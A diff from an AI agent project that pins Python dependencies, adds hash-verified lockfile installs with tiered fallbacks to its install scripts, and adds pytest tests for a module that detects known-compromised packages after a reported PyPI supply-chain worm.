||||||
|
# 3. Re-enable Mistral in:
|
||||||
|
# - tools/lazy_deps.py (LAZY_DEPS["tts.mistral"], LAZY_DEPS["stt.mistral"])
|
||||||
|
# - hermes_cli/tools_config.py (un-hide from provider picker)
|
||||||
|
# - hermes_cli/web_server.py (re-add to dashboard STT options)
|
||||||
|
# - tools/transcription_tools.py / tools/tts_tool.py (drop disabled stubs)
|
||||||
|
# 4. Run `uv lock` to regenerate transitives.
|
||||||
|
# 5. Optionally re-add to [all] only after a few days of clean operation.
|
||||||
|
bedrock = ["boto3==1.42.89"]
|
||||||
termux = [
|
termux = [
|
||||||
# Baseline Android / Termux path for reliable fresh installs.
|
# Baseline Android / Termux path for reliable fresh installs.
|
||||||
"python-telegram-bot[webhooks]>=22.6,<23",
|
"python-telegram-bot[webhooks]==22.6",
|
||||||
"hermes-agent[cron]",
|
"hermes-agent[cron]",
|
||||||
"hermes-agent[cli]",
|
"hermes-agent[cli]",
|
||||||
"hermes-agent[pty]",
|
"hermes-agent[pty]",
|
||||||
|
|
@ -120,35 +160,41 @@ termux-all = [
|
||||||
"hermes-agent[sms]",
|
"hermes-agent[sms]",
|
||||||
"hermes-agent[web]",
|
"hermes-agent[web]",
|
||||||
]
|
]
|
||||||
dingtalk = ["dingtalk-stream>=0.20,<1", "alibabacloud-dingtalk>=2.0.0", "qrcode>=7.0,<8"]
|
dingtalk = ["dingtalk-stream==0.24.3", "alibabacloud-dingtalk==2.2.42", "qrcode==7.4.2"]
|
||||||
feishu = ["lark-oapi>=1.5.3,<2", "qrcode>=7.0,<8"]
|
feishu = ["lark-oapi==1.5.3", "qrcode==7.4.2"]
|
||||||
google = [
|
google = [
|
||||||
# Required by the google-workspace skill (Gmail, Calendar, Drive, Contacts,
|
# Required by the google-workspace skill (Gmail, Calendar, Drive, Contacts,
|
||||||
# Sheets, Docs). Declared here so packagers (Nix, Homebrew) ship them with
|
# Sheets, Docs). Declared here so packagers (Nix, Homebrew) ship them with
|
||||||
# the [all] extra and users don't hit runtime `pip install` paths that fail
|
# the [all] extra and users don't hit runtime `pip install` paths that fail
|
||||||
# in environments without pip (e.g. Nix-managed Python).
|
# in environments without pip (e.g. Nix-managed Python).
|
||||||
"google-api-python-client>=2.100,<3",
|
"google-api-python-client==2.194.0",
|
||||||
"google-auth-oauthlib>=1.0,<2",
|
"google-auth-oauthlib==1.3.1",
|
||||||
"google-auth-httplib2>=0.2,<1",
|
"google-auth-httplib2==0.3.1",
|
||||||
]
|
]
|
||||||
youtube = [
|
youtube = [
|
||||||
# Required by skills/media/youtube-content and
|
# Required by skills/media/youtube-content and
|
||||||
# optional-skills/productivity/memento-flashcards (youtube_quiz.py).
|
# optional-skills/productivity/memento-flashcards (youtube_quiz.py).
|
||||||
# Without this declaration uv sync omits the package and both skills fail
|
# Without this declaration uv sync omits the package and both skills fail
|
||||||
# at first invocation with ModuleNotFoundError (issue #22243).
|
# at first invocation with ModuleNotFoundError (issue #22243).
|
||||||
"youtube-transcript-api>=1.2.0",
|
"youtube-transcript-api==1.2.4",
|
||||||
]
|
]
|
||||||
# `hermes dashboard` (localhost SPA + API). Not in core to keep the default install lean.
|
# `hermes dashboard` (localhost SPA + API). Not in core to keep the default install lean.
|
||||||
web = ["fastapi>=0.104.0,<1", "uvicorn[standard]>=0.24.0,<1"]
|
web = ["fastapi==0.133.1", "uvicorn[standard]==0.41.0"]
|
||||||
rl = [
|
rl = [
|
||||||
"atroposlib @ git+https://github.com/NousResearch/atropos.git@c20c85256e5a45ad31edf8b7276e9c5ee1995a30",
|
"atroposlib @ git+https://github.com/NousResearch/atropos.git@c20c85256e5a45ad31edf8b7276e9c5ee1995a30",
|
||||||
"tinker @ git+https://github.com/thinking-machines-lab/tinker.git@30517b667f18a3dfb7ef33fb56cf686d5820ba2b",
|
"tinker @ git+https://github.com/thinking-machines-lab/tinker.git@30517b667f18a3dfb7ef33fb56cf686d5820ba2b",
|
||||||
"fastapi>=0.104.0,<1",
|
"fastapi==0.133.1",
|
||||||
"uvicorn[standard]>=0.24.0,<1",
|
"uvicorn[standard]==0.41.0",
|
||||||
"wandb>=0.15.0,<1",
|
"wandb==0.25.1",
|
||||||
]
|
]
|
||||||
yc-bench = ["yc-bench @ git+https://github.com/collinear-ai/yc-bench.git@bfb0c88062450f46341bd9a5298903fc2e952a5c ; python_version >= '3.12'"]
|
yc-bench = ["yc-bench @ git+https://github.com/collinear-ai/yc-bench.git@bfb0c88062450f46341bd9a5298903fc2e952a5c ; python_version >= '3.12'"]
|
||||||
all = [
|
all = [
|
||||||
|
"hermes-agent[anthropic]",
|
||||||
|
"hermes-agent[exa]",
|
||||||
|
"hermes-agent[firecrawl]",
|
||||||
|
"hermes-agent[parallel-web]",
|
||||||
|
"hermes-agent[fal]",
|
||||||
|
"hermes-agent[edge-tts]",
|
||||||
"hermes-agent[modal]",
|
"hermes-agent[modal]",
|
||||||
"hermes-agent[daytona]",
|
"hermes-agent[daytona]",
|
||||||
"hermes-agent[vercel]",
|
"hermes-agent[vercel]",
|
||||||
|
|
|
||||||
|
|
@ -793,30 +793,87 @@ function Install-Dependencies {
|
||||||
# Tell uv to install into our venv (no activation needed)
|
# Tell uv to install into our venv (no activation needed)
|
||||||
$env:VIRTUAL_ENV = "$InstallDir\venv"
|
$env:VIRTUAL_ENV = "$InstallDir\venv"
|
||||||
}
|
}
|
||||||
|
|
||||||
|
# Hash-verified install (Tier 0) — when uv.lock is present, prefer
|
||||||
|
# `uv sync --locked`. The lockfile records SHA256 hashes for every
|
||||||
|
# transitive dependency, so a compromised transitive (different hash
|
||||||
|
# than what we shipped) is REJECTED by the resolver. This is the
|
||||||
|
# *only* path that protects against the "direct dep is fine, but the
|
||||||
|
# dep's dep got worm-poisoned overnight" failure mode. The
|
||||||
|
# `uv pip install` tiers below re-resolve transitives fresh from PyPI
|
||||||
|
# without any hash verification — they exist to keep installs working
|
||||||
|
# when the lockfile is stale, missing, or out-of-sync with the
|
||||||
|
# current extras spec, NOT because they're equivalent in posture.
|
||||||
|
if (Test-Path "uv.lock") {
|
||||||
|
Write-Info "Trying tier: hash-verified (uv.lock) ..."
|
||||||
|
& $UvCmd sync --all-extras --locked
|
||||||
|
if ($LASTEXITCODE -eq 0) {
|
||||||
|
Write-Success "Main package installed (hash-verified via uv.lock)"
|
||||||
|
$script:InstalledTier = "hash-verified (uv.lock)"
|
||||||
|
# Skip the rest of the tiered cascade — we already have a
|
||||||
|
# complete, hash-verified install.
|
||||||
|
$skipPipFallback = $true
|
||||||
|
} else {
|
||||||
|
Write-Warn "uv.lock sync failed (lockfile may be stale), falling back to PyPI resolve..."
|
||||||
|
$skipPipFallback = $false
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
Write-Info "uv.lock not found — falling back to PyPI resolve (no hash verification)"
|
||||||
|
$skipPipFallback = $false
|
||||||
|
}
|
||||||
|
|
||||||
# Install main package. Tiered fallback so a single flaky git+https dep
|
# Install main package. Tiered fallback so a single flaky git+https dep
|
||||||
# (atroposlib / tinker in the [rl] extra) doesn't silently drop
|
# (atroposlib / tinker in the [rl] extra) doesn't silently drop
|
||||||
# dashboard/MCP/cron/messaging extras. Each tier's stdout/stderr is
|
# dashboard/MCP/cron/messaging extras. Each tier's stdout/stderr is
|
||||||
# preserved — no Out-Null swallowing — so the user can see what failed.
|
# preserved — no Out-Null swallowing — so the user can see what failed.
|
||||||
#
|
#
|
||||||
# Tier 1: [all] — everything, including RL git+https deps (best case).
|
# Tier 1: [all] — everything, including RL git+https deps (best case).
|
||||||
# Tier 2: [core-extras] synthesised locally — all PyPI-only extras we
|
# Tier 2: [all] minus a small list of currently-broken extras. The
|
||||||
# ship (web, mcp, cron, cli, voice, messaging, slack, dev, acp,
|
# broken list is centralised in $brokenExtras below — when
|
||||||
# pty, homeassistant, sms, tts-premium, honcho, google, mistral,
|
# a package gets quarantined / yanked / pulled, add it here
|
||||||
# bedrock, dingtalk, feishu, modal, daytona, vercel). Drops [rl]
|
# and the resolver no longer chokes on it. This is what saves
|
||||||
# and [matrix] (linux-only) which are the usual failure culprits.
|
# the user from silently losing 10+ unrelated extras every
|
||||||
# Tier 3: [web,mcp,cron,cli,messaging,dev] — the minimum we strongly
|
# time one upstream package breaks.
|
||||||
|
# Tier 3: [core-extras] synthesised locally — all PyPI-only extras we
|
||||||
|
# ship, also minus $brokenExtras. Drops [rl] and [matrix]
|
||||||
|
# (linux-only) which are the usual failure culprits.
|
||||||
|
# Tier 4: [web,mcp,cron,cli,messaging,dev] — the minimum we strongly
|
||||||
# believe a user expects `hermes dashboard` / slash commands /
|
# believe a user expects `hermes dashboard` / slash commands /
|
||||||
# cron / messaging platforms to work out of the box.
|
# cron / messaging platforms to work out of the box.
|
||||||
# Tier 4: bare `.` — last-resort so at least the core CLI launches.
|
# Tier 5: bare `.` — last-resort so at least the core CLI launches.
|
||||||
|
|
||||||
|
# Currently-broken extras. Edit this list when an upstream package
|
||||||
|
# gets quarantined / yanked / breaks resolution. Empty means everything
|
||||||
|
# in [all] should be installable; populate with the names of extras
|
||||||
|
# whose deps are temporarily unavailable to keep installs working
|
||||||
|
# for users.
|
||||||
|
$brokenExtras = @()
|
||||||
|
|
||||||
|
$allExtras = @(
|
||||||
|
"modal","daytona","vercel","messaging","matrix","cron","cli","dev",
|
||||||
|
"tts-premium","slack","pty","honcho","mcp","homeassistant","sms",
|
||||||
|
"acp","voice","dingtalk","feishu","google","bedrock","web",
|
||||||
|
"youtube"
|
||||||
|
)
|
||||||
|
$pypiExtras = @(
|
||||||
|
"web","mcp","cron","cli","voice","messaging","slack","dev","acp",
|
||||||
|
"pty","homeassistant","sms","tts-premium","honcho","google",
|
||||||
|
"bedrock","dingtalk","feishu","modal","daytona","vercel","youtube"
|
||||||
|
)
|
||||||
|
$safeAll = ($allExtras | Where-Object { $brokenExtras -notcontains $_ }) -join ","
|
||||||
|
$safePypi = ($pypiExtras | Where-Object { $brokenExtras -notcontains $_ }) -join ","
|
||||||
|
$brokenLabel = if ($brokenExtras) { ($brokenExtras -join ", ") } else { "none" }
|
||||||
|
|
||||||
$installTiers = @(
|
$installTiers = @(
|
||||||
@{ Name = "all (with RL/matrix extras)"; Spec = ".[all]" },
|
@{ Name = "all (with RL/matrix extras)"; Spec = ".[all]" },
|
||||||
@{ Name = "PyPI-only extras (no git deps)"; Spec = ".[web,mcp,cron,cli,voice,messaging,slack,dev,acp,pty,homeassistant,sms,tts-premium,honcho,google,mistral,bedrock,dingtalk,feishu,modal,daytona,vercel]" },
|
@{ Name = "all minus known-broken ($brokenLabel)"; Spec = ".[$safeAll]" },
|
||||||
|
@{ Name = "PyPI-only extras (no git deps)"; Spec = ".[$safePypi]" },
|
||||||
@{ Name = "dashboard + core platforms"; Spec = ".[web,mcp,cron,cli,messaging,dev]" },
|
@{ Name = "dashboard + core platforms"; Spec = ".[web,mcp,cron,cli,messaging,dev]" },
|
||||||
@{ Name = "core only (no extras)"; Spec = "." }
|
@{ Name = "core only (no extras)"; Spec = "." }
|
||||||
)
|
)
|
||||||
$installed = $false
|
$installed = $skipPipFallback
|
||||||
foreach ($tier in $installTiers) {
|
if (-not $skipPipFallback) {
|
||||||
|
foreach ($tier in $installTiers) {
|
||||||
Write-Info "Trying tier: $($tier.Name) ..."
|
Write-Info "Trying tier: $($tier.Name) ..."
|
||||||
& $UvCmd pip install -e $tier.Spec
|
& $UvCmd pip install -e $tier.Spec
|
||||||
if ($LASTEXITCODE -eq 0) {
|
if ($LASTEXITCODE -eq 0) {
|
||||||
|
|
@ -826,6 +883,7 @@ function Install-Dependencies {
|
||||||
break
|
break
|
||||||
}
|
}
|
||||||
Write-Warn "Tier '$($tier.Name)' failed (exit $LASTEXITCODE). Trying next tier..."
|
Write-Warn "Tier '$($tier.Name)' failed (exit $LASTEXITCODE). Trying next tier..."
|
||||||
|
}
|
||||||
}
|
}
|
||||||
if (-not $installed) {
|
if (-not $installed) {
|
||||||
throw "Failed to install hermes-agent package even with no extras. Inspect the uv pip install output above."
|
throw "Failed to install hermes-agent package even with no extras. Inspect the uv pip install output above."
|
||||||
|
|
|
||||||
|
|
@ -1060,20 +1060,124 @@ install_deps() {
|
||||||
fi
|
fi
|
||||||
|
|
||||||
# Install the main package in editable mode with all extras.
|
# Install the main package in editable mode with all extras.
|
||||||
# Try [all] first, fall back to base install if extras have issues.
|
#
|
||||||
ALL_INSTALL_LOG=$(mktemp)
|
# Hash-verified install (Tier 0) — when uv.lock is present, prefer
|
||||||
if ! $UV_CMD pip install -e ".[all]" 2>"$ALL_INSTALL_LOG"; then
|
# `uv sync --locked`. The lockfile records SHA256 hashes for every
|
||||||
log_warn "Full install (.[all]) failed, trying base install..."
|
# transitive, so a compromised transitive (different hash than what
|
||||||
log_info "Reason: $(tail -5 "$ALL_INSTALL_LOG" | head -3)"
|
# we shipped) is REJECTED by the resolver. This is the *only* path
|
||||||
rm -f "$ALL_INSTALL_LOG"
|
# that protects against the "direct dep is fine, but the dep's dep
|
||||||
if ! $UV_CMD pip install -e "."; then
|
# got worm-poisoned overnight" failure mode. All `uv pip install`
|
||||||
log_error "Package installation failed."
|
# tiers below re-resolve transitives fresh from PyPI without any
|
||||||
log_info "Check that build tools are installed: sudo apt install build-essential python3-dev"
|
# hash verification — they exist to keep installs working when the
|
||||||
log_info "Then re-run: cd $INSTALL_DIR && uv pip install -e '.[all]'"
|
# lockfile is stale, missing, or out-of-sync with the current
|
||||||
exit 1
|
# extras spec, NOT because they're equivalent in posture.
|
||||||
|
if [ -f "uv.lock" ]; then
|
||||||
|
log_info "Trying tier: hash-verified (uv.lock) ..."
|
||||||
|
if UV_PROJECT_ENVIRONMENT="$INSTALL_DIR/venv" $UV_CMD sync --all-extras --locked 2>"$(mktemp)"; then
|
||||||
|
log_success "Main package installed (hash-verified via uv.lock)"
|
||||||
|
log_success "All dependencies installed"
|
||||||
|
return 0
|
||||||
fi
|
fi
|
||||||
|
log_warn "uv.lock sync failed (lockfile may be stale), falling back to PyPI resolve..."
|
||||||
else
|
else
|
||||||
rm -f "$ALL_INSTALL_LOG"
|
log_info "uv.lock not found — falling back to PyPI resolve (no hash verification)"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Multi-tier fallback. The point of the tiers is that ONE compromised
|
||||||
|
# PyPI package (a worm-poisoned release that gets quarantined, like
|
||||||
|
# mistralai 2.4.6 in May 2026) shouldn't be able to silently demote a
|
||||||
|
# fresh install all the way down to "core only" — the user should keep
|
||||||
|
# everything else they signed up for.
|
||||||
|
#
|
||||||
|
# Tier 1: [all] — everything, including RL git+https deps (best case).
|
||||||
|
# Tier 2: [all] minus the currently-broken extras list. Edit
|
||||||
|
# _BROKEN_EXTRAS below when something on PyPI breaks; this lets
|
||||||
|
# users keep voice/honcho/google/slack/matrix/etc. even when
|
||||||
|
# one transitive is unavailable. List the extras here as bare
|
||||||
|
# names from pyproject.toml [project.optional-dependencies] —
|
||||||
|
# the script translates them to `[a,b,c]` form below.
|
||||||
|
# Tier 3: PyPI-only extras (no git deps) — drops [rl] / [yc-bench]
|
||||||
|
# which are git+https and may fail in restricted networks.
|
||||||
|
# Tier 4: dashboard + core platforms — minimum viable interactive set.
|
||||||
|
# Tier 5: bare `.` — last-resort so at least the core CLI launches.
|
||||||
|
#
|
||||||
|
# Each tier's stderr is captured to a tempfile so we can show the user
|
||||||
|
# WHY the higher tier failed instead of silently dropping support.
|
||||||
|
local _BROKEN_EXTRAS=() # populate when an extra becomes unresolvable
|
||||||
|
local _ALL_EXTRAS=(
|
||||||
|
modal daytona vercel messaging matrix cron cli dev tts-premium slack
|
||||||
|
pty honcho mcp homeassistant sms acp voice dingtalk feishu google
|
||||||
|
bedrock web youtube
|
||||||
|
)
|
||||||
|
# Tier 2: all extras minus _BROKEN_EXTRAS
|
||||||
|
local _SAFE_EXTRAS=()
|
||||||
|
local _e _b _skip
|
||||||
|
for _e in "${_ALL_EXTRAS[@]}"; do
|
||||||
|
_skip=false
|
||||||
|
for _b in "${_BROKEN_EXTRAS[@]}"; do
|
||||||
|
if [ "$_e" = "$_b" ]; then _skip=true; break; fi
|
||||||
|
done
|
||||||
|
if [ "$_skip" = false ]; then _SAFE_EXTRAS+=("$_e"); fi
|
||||||
|
done
|
||||||
|
local _SAFE_SPEC
|
||||||
|
_SAFE_SPEC=".[$(IFS=,; echo "${_SAFE_EXTRAS[*]}")]"
|
||||||
|
# Tier 3: PyPI-only extras (no git deps), still skipping broken ones.
|
||||||
|
# Mirrors the install.ps1 list but excludes [rl] / [yc-bench] / [matrix]
|
||||||
|
# (matrix needs python-olm which fails to build on some hosts).
|
||||||
|
local _PYPI_EXTRAS=(
|
||||||
|
web mcp cron cli voice messaging slack dev acp pty homeassistant sms
|
||||||
|
tts-premium honcho google bedrock dingtalk feishu modal daytona vercel
|
||||||
|
youtube
|
||||||
|
)
|
||||||
|
local _PYPI_SAFE=()
|
||||||
|
for _e in "${_PYPI_EXTRAS[@]}"; do
|
||||||
|
_skip=false
|
||||||
|
for _b in "${_BROKEN_EXTRAS[@]}"; do
|
||||||
|
if [ "$_e" = "$_b" ]; then _skip=true; break; fi
|
||||||
|
done
|
||||||
|
if [ "$_skip" = false ]; then _PYPI_SAFE+=("$_e"); fi
|
||||||
|
done
|
||||||
|
local _PYPI_SPEC
|
||||||
|
_PYPI_SPEC=".[$(IFS=,; echo "${_PYPI_SAFE[*]}")]"
|
||||||
|
local _TIER4_SPEC=".[web,mcp,cron,cli,messaging,dev]"
|
||||||
|
|
||||||
|
ALL_INSTALL_LOG=$(mktemp)
|
||||||
|
local _installed=false
|
||||||
|
local _tier_name=""
|
||||||
|
|
||||||
|
install_tier() {
|
||||||
|
local name="$1"; local spec="$2"
|
||||||
|
log_info "Trying tier: $name ..."
|
||||||
|
if $UV_CMD pip install -e "$spec" 2>"$ALL_INSTALL_LOG"; then
|
||||||
|
log_success "Main package installed ($name)"
|
||||||
|
_installed=true
|
||||||
|
_tier_name="$name"
|
||||||
|
return 0
|
||||||
|
fi
|
||||||
|
log_warn "Tier '$name' failed. Top of pip output:"
|
||||||
|
head -5 "$ALL_INSTALL_LOG" | sed 's/^/ /' >&2
|
||||||
|
return 1
|
||||||
|
}
|
||||||
|
|
||||||
|
install_tier "all (with RL/matrix extras)" ".[all]" \
|
||||||
|
|| install_tier "all minus known-broken (${_BROKEN_EXTRAS[*]:-none})" "$_SAFE_SPEC" \
|
||||||
|
|| install_tier "PyPI-only extras (no git deps)" "$_PYPI_SPEC" \
|
||||||
|
|| install_tier "dashboard + core platforms" "$_TIER4_SPEC" \
|
||||||
|
|| install_tier "core only (no extras)" "."
|
||||||
|
|
||||||
|
rm -f "$ALL_INSTALL_LOG"
|
||||||
|
|
||||||
|
if [ "$_installed" = false ]; then
|
||||||
|
log_error "Package installation failed even with no extras."
|
||||||
|
log_info "Check that build tools are installed: sudo apt install build-essential python3-dev"
|
||||||
|
log_info "Then re-run: cd $INSTALL_DIR && uv pip install -e '.[all]'"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
if [ "$_tier_name" != "all (with RL/matrix extras)" ]; then
|
||||||
|
log_warn "Note: installed via fallback tier ($_tier_name)."
|
||||||
|
log_info "Some optional features may be missing. After resolving any"
|
||||||
|
log_info "PyPI/network issue, re-run: $UV_CMD pip install -e '.[all]'"
|
||||||
fi
|
fi
|
||||||
|
|
||||||
log_success "Main package installed"
|
log_success "Main package installed"
|
||||||
|
|
|
||||||
|
|
@ -183,17 +183,57 @@ if is_termux; then
|
||||||
else
|
else
|
||||||
# Prefer uv sync with lockfile (hash-verified installs) when available,
|
# Prefer uv sync with lockfile (hash-verified installs) when available,
|
||||||
# fall back to pip install for compatibility or when lockfile is stale.
|
# fall back to pip install for compatibility or when lockfile is stale.
|
||||||
|
#
|
||||||
|
# Multi-tier pip fallback. Goal: ONE compromised PyPI package
|
||||||
|
# (mistralai 2.4.6 in May 2026 → quarantined) shouldn't silently demote
|
||||||
|
# a fresh setup to "core only". Edit _BROKEN_EXTRAS when a transitive
|
||||||
|
# breaks; users keep voice / honcho / google / slack / matrix etc. even
|
||||||
|
# if mistral can't resolve.
|
||||||
|
_BROKEN_EXTRAS=() # populate when an extra becomes unresolvable
|
||||||
|
_ALL_EXTRAS=(
|
||||||
|
modal daytona vercel messaging matrix cron cli dev tts-premium slack
|
||||||
|
pty honcho mcp homeassistant sms acp voice dingtalk feishu google
|
||||||
|
bedrock web youtube
|
||||||
|
)
|
||||||
|
_SAFE_EXTRAS=()
|
||||||
|
for _e in "${_ALL_EXTRAS[@]}"; do
|
||||||
|
_skip=false
|
||||||
|
for _b in "${_BROKEN_EXTRAS[@]}"; do
|
||||||
|
[ "$_e" = "$_b" ] && _skip=true && break
|
||||||
|
done
|
||||||
|
[ "$_skip" = false ] && _SAFE_EXTRAS+=("$_e")
|
||||||
|
done
|
||||||
|
_SAFE_SPEC=".[$(IFS=,; echo "${_SAFE_EXTRAS[*]}")]"
|
||||||
|
_try_install() {
|
||||||
|
$UV_CMD pip install -e ".[all]" \
|
||||||
|
|| $UV_CMD pip install -e "$_SAFE_SPEC" \
|
||||||
|
|| $UV_CMD pip install -e "."
|
||||||
|
}
|
||||||
|
|
||||||
if [ -f "uv.lock" ]; then
|
if [ -f "uv.lock" ]; then
|
||||||
|
# Hash-verified install (preferred). The lockfile records SHA256
|
||||||
|
# hashes for every transitive — a compromised transitive would have
|
||||||
|
# a different hash and be REJECTED by uv. This is the only path
|
||||||
|
# that protects against transitive-package supply-chain attacks
|
||||||
|
# (the direct deps in pyproject.toml are exact-pinned, but
|
||||||
|
# `uv pip install` re-resolves transitives fresh from PyPI).
|
||||||
echo -e "${CYAN}→${NC} Using uv.lock for hash-verified installation..."
|
echo -e "${CYAN}→${NC} Using uv.lock for hash-verified installation..."
|
||||||
UV_PROJECT_ENVIRONMENT="$SCRIPT_DIR/venv" $UV_CMD sync --all-extras --locked 2>/dev/null && \
|
_UV_SYNC_LOG=$(mktemp)
|
||||||
echo -e "${GREEN}✓${NC} Dependencies installed (lockfile verified)" || {
|
if UV_PROJECT_ENVIRONMENT="$SCRIPT_DIR/venv" $UV_CMD sync --all-extras --locked 2>"$_UV_SYNC_LOG"; then
|
||||||
echo -e "${YELLOW}⚠${NC} Lockfile install failed (may be outdated), falling back to pip install..."
|
echo -e "${GREEN}✓${NC} Dependencies installed (hash-verified via uv.lock)"
|
||||||
$UV_CMD pip install -e ".[all]" || $UV_CMD pip install -e "."
|
rm -f "$_UV_SYNC_LOG"
|
||||||
echo -e "${GREEN}✓${NC} Dependencies installed"
|
else
|
||||||
}
|
echo -e "${YELLOW}⚠${NC} Lockfile sync failed (lockfile may be stale)."
|
||||||
|
echo -e "${YELLOW}⚠${NC} Falling back to PyPI resolve — transitives will NOT be hash-verified."
|
||||||
|
head -5 "$_UV_SYNC_LOG" | sed 's/^/ /'
|
||||||
|
rm -f "$_UV_SYNC_LOG"
|
||||||
|
_try_install
|
||||||
|
echo -e "${GREEN}✓${NC} Dependencies installed (transitives re-resolved, not hash-verified)"
|
||||||
|
fi
|
||||||
else
|
else
|
||||||
$UV_CMD pip install -e ".[all]" || $UV_CMD pip install -e "."
|
echo -e "${YELLOW}⚠${NC} uv.lock not found — installing without hash verification of transitives."
|
||||||
echo -e "${GREEN}✓${NC} Dependencies installed"
|
_try_install
|
||||||
|
echo -e "${GREEN}✓${NC} Dependencies installed (transitives re-resolved, not hash-verified)"
|
||||||
fi
|
fi
|
||||||
fi
|
fi
|
||||||
|
|
||||||
|
|
|
||||||
330
tests/hermes_cli/test_security_advisories.py
Normal file
330
tests/hermes_cli/test_security_advisories.py
Normal file
|
|
@ -0,0 +1,330 @@
|
||||||
|
"""Tests for hermes_cli.security_advisories.
|
||||||
|
|
||||||
|
The advisory module is the user-facing detection / remediation surface
|
||||||
|
for supply-chain attacks (e.g. the Mini Shai-Hulud worm of May 2026 that
|
||||||
|
poisoned mistralai 2.4.6 on PyPI). These tests exercise the public API in
|
||||||
|
isolation — no real package metadata, no real config, no real cache.
|
||||||
|
"""
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import time
|
||||||
|
from pathlib import Path
|
||||||
|
from typing import Iterator
|
||||||
|
|
||||||
|
import pytest
|
||||||
|
|
||||||
|
import hermes_cli.security_advisories as adv
|
||||||
|
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# Fixtures
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
|
||||||
|
@pytest.fixture
|
||||||
|
def fake_advisory() -> adv.Advisory:
|
||||||
|
"""A self-contained Advisory used across tests."""
|
||||||
|
return adv.Advisory(
|
||||||
|
id="test-advisory-2026-99",
|
||||||
|
title="Test advisory",
|
||||||
|
summary="Pretend this package has been compromised.",
|
||||||
|
url="https://example.com/advisory",
|
||||||
|
compromised=(
|
||||||
|
("fake-malicious-pkg", frozenset({"6.6.6"})),
|
||||||
|
),
|
||||||
|
remediation=(
|
||||||
|
"pip uninstall -y fake-malicious-pkg",
|
||||||
|
"Rotate any credentials that may have been exposed.",
|
||||||
|
),
|
||||||
|
published="2026-01-01",
|
||||||
|
severity="critical",
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
@pytest.fixture
|
||||||
|
def isolated_home(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> Path:
|
||||||
|
"""Redirect HERMES_HOME so banner cache and config writes are sandboxed."""
|
||||||
|
home = tmp_path / ".hermes"
|
||||||
|
home.mkdir()
|
||||||
|
(home / "cache").mkdir()
|
||||||
|
monkeypatch.setattr(Path, "home", lambda: tmp_path)
|
||||||
|
monkeypatch.setenv("HERMES_HOME", str(home))
|
||||||
|
return home
|
||||||
|
|
||||||
|
|
||||||
|
@pytest.fixture
|
||||||
|
def patched_version(monkeypatch: pytest.MonkeyPatch) -> Iterator[dict[str, str]]:
|
||||||
|
"""Override _installed_version with a controllable lookup table."""
|
||||||
|
table: dict[str, str] = {}
|
||||||
|
monkeypatch.setattr(adv, "_installed_version", lambda pkg: table.get(pkg))
|
||||||
|
yield table
|
||||||
|
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# detect_compromised
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
|
||||||
|
class TestDetectCompromised:
|
||||||
|
def test_no_match_returns_empty_list(self, fake_advisory, patched_version):
|
||||||
|
# No matching package installed.
|
||||||
|
hits = adv.detect_compromised(advisories=[fake_advisory])
|
||||||
|
assert hits == []
|
||||||
|
|
||||||
|
def test_exact_version_match(self, fake_advisory, patched_version):
|
||||||
|
patched_version["fake-malicious-pkg"] = "6.6.6"
|
||||||
|
hits = adv.detect_compromised(advisories=[fake_advisory])
|
||||||
|
assert len(hits) == 1
|
||||||
|
assert hits[0].advisory.id == fake_advisory.id
|
||||||
|
assert hits[0].package == "fake-malicious-pkg"
|
||||||
|
assert hits[0].installed_version == "6.6.6"
|
||||||
|
|
||||||
|
def test_safe_version_does_not_match(self, fake_advisory, patched_version):
|
||||||
|
# Package is installed but the version is not in the compromised set.
|
||||||
|
patched_version["fake-malicious-pkg"] = "6.6.5"
|
||||||
|
hits = adv.detect_compromised(advisories=[fake_advisory])
|
||||||
|
assert hits == []
|
||||||
|
|
||||||
|
def test_empty_compromised_set_matches_any_version(
|
||||||
|
self, patched_version
|
||||||
|
):
|
||||||
|
# An advisory with an empty version set is a "any version is suspect"
|
||||||
|
# wildcard — used when an entire maintainer namespace is owned.
|
||||||
|
wildcard = adv.Advisory(
|
||||||
|
id="wildcard",
|
||||||
|
title="Whole namespace owned",
|
||||||
|
summary="x",
|
||||||
|
url="x",
|
||||||
|
compromised=(("evil-namespace", frozenset()),),
|
||||||
|
remediation=("uninstall it",),
|
||||||
|
)
|
||||||
|
patched_version["evil-namespace"] = "0.0.1"
|
||||||
|
hits = adv.detect_compromised(advisories=[wildcard])
|
||||||
|
assert len(hits) == 1
|
||||||
|
assert hits[0].installed_version == "0.0.1"
|
||||||
|
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# Acknowledgement persistence
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
|
||||||
|
class TestAck:
|
||||||
|
def test_get_acked_ids_empty_when_no_config(self, monkeypatch):
|
||||||
|
# load_config raises → returns empty set, doesn't crash.
|
||||||
|
monkeypatch.setattr(
|
||||||
|
"hermes_cli.config.load_config",
|
||||||
|
lambda: (_ for _ in ()).throw(RuntimeError("boom")),
|
||||||
|
)
|
||||||
|
assert adv.get_acked_ids() == set()
|
||||||
|
|
||||||
|
def test_filter_unacked_strips_dismissed(self, fake_advisory, monkeypatch):
|
||||||
|
hit = adv.AdvisoryHit(
|
||||||
|
advisory=fake_advisory,
|
||||||
|
package="fake-malicious-pkg",
|
||||||
|
installed_version="6.6.6",
|
||||||
|
)
|
||||||
|
monkeypatch.setattr(adv, "get_acked_ids", lambda: {fake_advisory.id})
|
||||||
|
assert adv.filter_unacked([hit]) == []
|
||||||
|
|
||||||
|
def test_filter_unacked_passes_through_unknown(
|
||||||
|
self, fake_advisory, monkeypatch
|
||||||
|
):
|
||||||
|
hit = adv.AdvisoryHit(
|
||||||
|
advisory=fake_advisory,
|
||||||
|
package="fake-malicious-pkg",
|
||||||
|
installed_version="6.6.6",
|
||||||
|
)
|
||||||
|
monkeypatch.setattr(adv, "get_acked_ids", lambda: set())
|
||||||
|
assert adv.filter_unacked([hit]) == [hit]
|
||||||
|
|
||||||
|
def test_ack_advisory_persists_id(self, isolated_home, monkeypatch):
|
||||||
|
# Stub the config layer end-to-end with a tiny in-memory store so we
|
